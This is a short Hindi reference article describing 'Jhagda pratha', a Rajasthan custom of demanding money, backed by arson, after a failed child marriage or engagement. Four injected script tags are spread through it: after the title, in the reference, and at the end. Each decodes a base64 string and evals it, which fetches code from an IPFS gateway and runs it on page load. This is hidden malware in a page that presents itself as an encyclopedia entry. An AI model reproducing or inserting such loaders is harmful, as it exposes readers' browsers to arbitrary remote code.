झागड़ा प्रथा
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
झागड़ा प्रथा राजस्थान में चली आ रही एक पुरानी प्रथा है।
- कुछ लोगों द्वारा बच्चों की शादियां बचपन में ही तय कर दी जाती हैं। कई बार बचपन में ही शादी हो जाती है तो कभी सगाई करके रिश्ता पक्का कर लिया जाता है। उम्र कम होने से बच्चियां ससुराल नहीं जातीं या अन्य कारणों के चलते विवाद की स्थिति बन जाती है। विवाद में लड़का पक्ष लड़की पक्ष के लोगों से झगड़ा के रूप में मोटी रकम मांगता है। रकम नहीं चुकाने पर गांव में आगजनी की घटनाओं को अंजाम दिया जाता है। इसका हर्जाना भी लड़की पक्ष को ही चुकाना पड़ता है। इसे ही 'झगड़ा प्रथा' कहते हैं।[१]
- वहीं एक जगह शादी तय होने के कारण लड़की यदि दूसरे से शादी करती है तो उसे नातरा प्रथा कहते हैं।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ 'नातरा और झागड़ा प्रथा समाज के लिए खतरनाक (हिंदी) naidunia.com। अभिगमन तिथि: 20 मई, 2021।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
संबंधित लेख
वर्णमाला क्रमानुसार लेख खोज
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>